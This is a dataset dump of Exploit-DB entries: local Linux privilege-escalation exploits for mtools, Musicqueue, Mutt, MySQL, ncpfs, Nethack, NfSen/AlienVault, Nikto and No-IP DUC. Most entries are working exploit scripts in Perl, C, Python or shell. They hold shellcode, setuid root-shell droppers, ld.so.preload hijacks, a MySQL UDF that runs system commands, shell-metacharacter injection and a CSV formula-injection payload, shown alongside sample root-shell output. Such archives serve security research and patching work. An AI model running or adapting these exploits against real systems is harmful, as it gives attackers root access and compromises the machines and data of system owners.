deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23759
Description: MTools 3.9.x - 'MFormat' Local Privilege Escalation
Type: local
Platform: linux
Date: 2004-02-25
Author: Sebastian Krahmer

Exploit:
source: https://www.securityfocus.com/bid/9746/info

It has been reported that mformat is prone to a privilege escalation vulnerability when installed as a setUID application. This issue is due to a design error allowing a user to create any arbitrary files as the root user.

A local attacker could exploit this issue by forcing the creation of sensitive system files that already exist. When the application formats the specified files, the target system file will be overwritten, destroying sensitive system data. Since the files that are given permissions 0666 and owned by root, the attacker may alter overwritten system configuration files, allowing for a escalation of privileges.

#!/usr/bin/perl

#
# mtools/mformat <= 3.9.9 local root exploit.
# Successfully tested on a Mandrake 9.2 default install.
# (C) 2004 krahmer@cs.uni-potsdam.de. PoC code.
# Standard disclaimer applies. Do not use for evil purposes.
#
# !USE AT YOUR OWN RISK! IT MAY CRASH YOUR MACHINE!
#
# If something goes wrong, it helps to be logged in as root
# on a second terminal beforehand and then doing a cat > /etc/ld.so.preload
#
# [stealth@lachs stealth]$ ./macker
# [-] Checking for mformat being +s ...OK.
# [-] Creating funky.so ...OK.
# [-] Creating boomsh ...OK
# [-] Calling mformat...
# [-] Invoking boomsh ...
# sh-2.05b# id
# uid=0(root) gid=501(stealth) groups=501(stealth)
# sh-2.05b#
 
$ |= 1;
umask(0);

print " [-] Checking for mformat being +s ...";
if (((stat("/usr/bin/mformat"))[2] & 04000) != 04000) {
	print "mformat not SUID.\n";
	exit(1);
}

print "OK.\n [-] Creating funky.so ...";

open(O, ">/tmp/funky.c") or die "$!";
print O<<_EOF_;
void _init()
{
	chown("/tmp/boomsh",0,0);
	chmod("/tmp/boomsh", 04755);
	unlink("/etc/ld.so.preload");
}
_EOF_
close(O);
if (system("cc -c -fPIC /tmp/funky.c -o /tmp/funky.o &&".
	   "ld -Bshareable /tmp/funky.o -o /tmp/funky.so")) {
	print "FAILED!";
	exit(1);
}

print "OK.\n [-] Creating boomsh ...";

open(O, ">/tmp/boomsh.c") or die "$!";
print O<<_EOF_;
#include <stdio.h>
int main()
{
char *a[]={"/bin/sh", NULL};
setuid(0); getuid(0);
execve(*a,a,NULL);
return 1;
}
_EOF_
close(O);

if (system("cc /tmp/boomsh.c -o /tmp/boomsh")) {
	print "FAILED!\n";
	exit(1);
}

print "OK\n";
print " [-] Calling mformat...\n";

open(O, ">".$ENV{HOME}."/.mtoolsrc") or die $!;
print O "drive+ a: file=\"/etc/ld.so.preload\"\n";
close(O);
system("/usr/bin/mformat -t 11 -h 1 -n 1 -C a:");

open(O, ">/etc/ld.so.preload") or die "Oh oh ... $!";
print O "/tmp/funky.so\n";
close(O);
system("ping 2>/dev/null");
print " [-] Invoking boomsh ...\n";
exec("/tmp/boomsh");
print "FAILED\n";
Exploit-DB #20155
Description: Multisoft FlagShip 4.4 - Installation Permission
Type: local
Platform: linux
Date: 2000-08-10
Author: Narrow

Exploit:
source: https://www.securityfocus.com/bid/1586/info

A vulnerability exists in the installation of Multisoft's FlagShip 4.4 product. Some binaries are installed with world writable permissions. This may allow an attacker to alter a binary and cause other users to execute arbitrary code.

The files: 
/usr/bin/FSserial 
/usr/bin/FlagShip_c
/usr/bin/FlagShip_p

are world writable.
Exploit-DB #23303
Description: Musicqueue 0.9/1.0/1.1 - Multiple Buffer Overrun Vulnerabilities
Type: local
Platform: linux
Date: 2003-10-27
Author: dong-h0un U

Exploit:
// source: https://www.securityfocus.com/bid/8903/info

Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.

/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04# 
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>

int main(int argc,char *argv[])
{
	FILE *fp;
	int r_rn=0;
	char *ent_r[3],atck_d[0x82];
	char shellcode[]=
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"\220@\220@\220@\220@\220@\220@\220@\220@\220@"
		"1\300\260F1\3331\311\315\2001\300\260G1\3331"
		"\311\315\200\353\037^\211v\b1\300\210F\007"
		"\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
		"\333\211\330@\315\200\350\334\377\377\377"
		"/bin/sh";

	unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
	memset((char *)atck_d,0,sizeof(atck_d));

	fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");

	if(argc<2)
	{
		fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
		exit(-1);
	}
	else sh_addr-=(strlen(argv[1]));

	atck_d[r_rn++]=0x82;
	for(;r_rn<44;r_rn+=4)
	{
		*(long *)&atck_d[r_rn]=sh_addr;
	}

	if((fp=fopen("musicqueue.conf","w"))==NULL)
	{
	fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
	return(-1);
	}
	fprintf(fp,"language = %s\n",atck_d);
	fclose(fp);

	ent_r[0]="REQUEST_METHOD=GET";
	ent_r[1]=(shellcode);
	ent_r[2]=(NULL);
	execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}
Exploit-DB #30093
Description: Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow
Type: local
Platform: linux
Date: 2007-05-28
Author: raylai

Exploit:
source: https://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)
Exploit-DB #22340
Description: MySQL 3.23.x - 'mysqld' Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-03-08
Author: bugsman@libero.it

Exploit:
source: https://www.securityfocus.com/bid/7052/info

A vulnerability has been discovered for MySQL that may allow the mysqld service to start with elevated privileges.

An attacker can exploit this vulnerability by creating a DATADIR/my.cnf that includes the line 'user=root' under the '[mysqld]' option section.

When the mysqld service is executed, it will run as the root user instead of the default user.

This may allow an attacker to obtain elevated privileges on a compromised system.

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
Exploit-DB #1181
Description: MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)
Type: local
Platform: linux
Date: 2004-12-24
Author: Marco Ivaldi

Exploit:
/*
 * $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through 
 * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
 *
 * Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can be 
 * expanded by means of custom written dynamic libraries containing User 
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

// milw0rm.com [2004-12-24]
Exploit-DB #7856
Description: MySQL 4/5/6 - UDF for Command Execution
Type: local
Platform: linux
Date: 2009-01-25
Author: Bernardo Damele

Exploit:
MySQL UDF for command execution

[1] http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html
[2] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz

mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7856.tar.gz (2009-lib_mysqludf_sys_0.0.3.tar.gz)

# milw0rm.com [2009-01-25]
Exploit-DB #779
Description: ncpfs < 2.2.6 (Gentoo / Linux) - Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-01-30
Author: super

Exploit:
#!/bin/sh
## Had to remove local -r to get it to work via sh on my box
## Root's encrypted password was in toupper form but the
## super stated it worked fine for him (Gentoo with ncpfs 2.2.5)
## If it worked for you send an email to info@milw0rm.com /str0ke

(echo  'head1 by super'
 echo -e '==============\n'
 (function head1(){
   (local -r MNTDIR=~/mnt.$$
     (mv ~/.nwclient ~/.nwclient.temp
       ln -sf $1 ~/.nwclient
       mkdir $MNTDIR)2>/dev/null
     (echo $1
       ncpmount $MNTDIR
       echo)
     (rmdir $MNTDIR
       rm ~/.nwclient
       mv .nwclient.temp .nwclient)2>/dev/null)}
 (for i in /etc/*shadow*
   do head1 $i
   done)))#

# milw0rm.com [2005-01-30]
Exploit-DB #22233
Description: Nethack 3 - Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2003-02-10
Author: tsao@efnet

Exploit:
// source: https://www.securityfocus.com/bid/6806/info

By passing an overly large string when invoking nethack, it is possible to corrupt memory.

By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.

slashem, jnethack and falconseye are also prone to this vulnerability.

/*
        tsao@efnet #!IC@efnet 2k3
        thnx to aleph1 for execve shellcode &
        davidicke for setreuid() shellcode
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


char code[] =

"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long sp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {
     char *p;
     int i, off;

     p = malloc(sizeof(char) * atoi(argv[1]));
     memset(p,0x90,atoi(argv[1]));

     off = 220 - strlen(code);
     printf("shellcode at %d->%d\n",off,off+strlen(code));
     for(i=0;i<atoi(argv[1]);i++)
       p[i+off] = code[i];


     *(long *) &p[220] = sp() - atoi(argv[2]);
     printf("Using %x\n",sp() - atoi(argv[2]));

     execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
     perror("wtf");
}
Exploit-DB #22234
Description: Nethack 3 - Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-02-10
Author: bob@dtors.net

Exploit:
// source: https://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.


/* DSR-nethack.c by bob@dtors.net
 * Vulnerbility Found by tsao.
 *
 * Local BufferOverflow that leads
 * to elevated privileges [games].
 *
 * Basic PoC code...nothing special.
 *[bob@dtors bob]$ ./DSR-nethack
 *
 *       DSR-nethack.c By bob.
 *   Local Exploit for Nethack 3.4.0
 *       DSR-[www.dtors.net]-DSR
 * 
 *   ret: 0xbffffd86
 *
 * Cannot find any current entries for 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.���
 * Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
 * Player types are: [-p role] [-r race]
 * sh-2.05b$ id -a
 * uid=12(games) gid=501(bob) groups=501(bob)
 * sh-2.05b$ 
 *
 * www.dtors.net // www.b0f.net
 */
#include <stdio.h>
char shellcode[]= /* shellcode by bob */
            
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
int main ()
{
        unsigned long ret = 0xbffffd86;  //Redhat 8.0 i386
        char buf[224]; 
        char smeg[1024];
        char *ptr;      
  int i=0;   
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n"); 
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
memset(buf, 0x41, sizeof(buf)); 
        ptr = smeg; 
        for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90; 
        for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; 
        smeg[1024 - 1] = '\0'; //null byte
        memcpy(smeg,"EGG=",4); 
        putenv(smeg);
        buf[220] = (ret & 0x000000ff);            
        buf[221] = (ret & 0x0000ff00) >> 8;
        buf[222] = (ret & 0x00ff0000) >> 16;
        buf[223] = (ret & 0xff000000) >> 24;
        buf[224] = '\0';
        
        fprintf(stdout,"ret: 0x%08x\n",ret);
        
        execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s",  buf, 
NULL); //weeoooweeeeooowooo
        return 0;
}
Exploit-DB #22235
Description: Nethack 3 - Local Buffer Overflow (3)
Type: local
Platform: linux
Date: 2003-02-10
Author: tsao@efnet

Exploit:
source: https://www.securityfocus.com/bid/6806/info
 
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
 
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
 
slashem, jnethack and falconseye are also prone to this vulnerability.

#!/usr/bin/perl -w
#
# tsao@efnet #!IC@efnet 2k3
# thnx to aleph1 for execve shellcode
# davidicke for setreuid() shellcode


$sc .= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xdb";
$sc .= "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e";
$sc .= "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12";
$sc .= "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62";
$sc .=  "\x69\x6e\x2f\x73\x68\x01";

for ($i = 0; $i < (224 - (length($sc)) - 4); $i++) {
    $buf .= "\x90";
}

$buf .= $sc;
$buf .= "\xd2\xf8\xff\xbf";

exec("/usr/games/lib/nethackdir/nethack -s '$buf'");
Exploit-DB #42305
Description: NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-07-10
Author: Paul Taylor

Exploit:
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970

1. Description
  
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.

2. Proof of Concept

Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).

Execute the following command:

perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
  
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.

3. Solution:
  
Update to latest version of NfSen/USM/OSSIM
Exploit-DB #44899
Description: Nikto 2.1.6 - CSV Injection
Type: local
Platform: linux
Date: 2018-06-18
Author: Adam Greenhill

Exploit:
# Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01	
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
 
# Technical Description:
#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers 
# to inject arbitrary OS commands via the Server field in an HTTP response header, 
# which is directly injected into a CSV report.
 
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|' /C calc'!'A1'";

    server {
        listen 80;

        server_name localhost;

        location /hello {
            return 200 "hello world";
        }
    }
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting 
# to execute
Exploit-DB #25411
Description: No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow
Type: local
Platform: linux
Date: 2013-05-13
Author: Alberto Ortega

Exploit:
#!/usr/bin/env python

# Title:  No-IP Dynamic Update Client (DUC) 2.1.9 local IPaddress stack overflow
# Author: Alberto Ortega @a0rtega
#         alberto[@]pentbox[.]net
# Date:   May 11 2013 (vulnerability discovered)

# Background:
#
# No-IP is probably the most used Dynamic DNS provider worldwide,
# their Dynamic Update Client (DUC) is present by default in tons of
# systems, software repositories and embedded devices.
#
# Description:
#
# To be easily portable, the client is written in C, with minimal
# dependencies. So far so good, but the problem is, it is plagued of
# buffer overflows.
#
# Vulnerability:
#
# This exploit covers a stack-based overflow present in -i
# parameter, IPaddress variable name in source code.
#
# It is probably the most basic parameter, as this is the way to say
# the client that our IP has changed.
#
# For the PoC we will use the Linux x86 client version 2.1.9:
# https://www.noip.com/client/linux/noip-duc-linux.tar.gz
# 3b0f5f2ff8637c73ab337be403252a60
#
# http://a0rtega.pentbox.net/partyhard/noip2iexploit.txt
#
# Solution:
#
# API: https://www.noip.com/integrate/
#
# If you are an embedded systems developer, you should write
# your own implementation of the client.
#
# If you are a repository maintainer, the best solution may be
# change the official client for another one.
#
# Compile the distributed binaries with some mitigations and
# include them by default in Makefile would help too.

import os

binary = "./noip-2.1.9-1/binaries/noip2-i686"

shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
            "\x80\xe8\xdc\xff\xff\xff/bin/sh"

nop = "\x90"
nop_slide = 296 - len(shellcode)

# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "\xbc\x73\x05\x08"

print "[*] Executing %s ..." % (binary)

os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))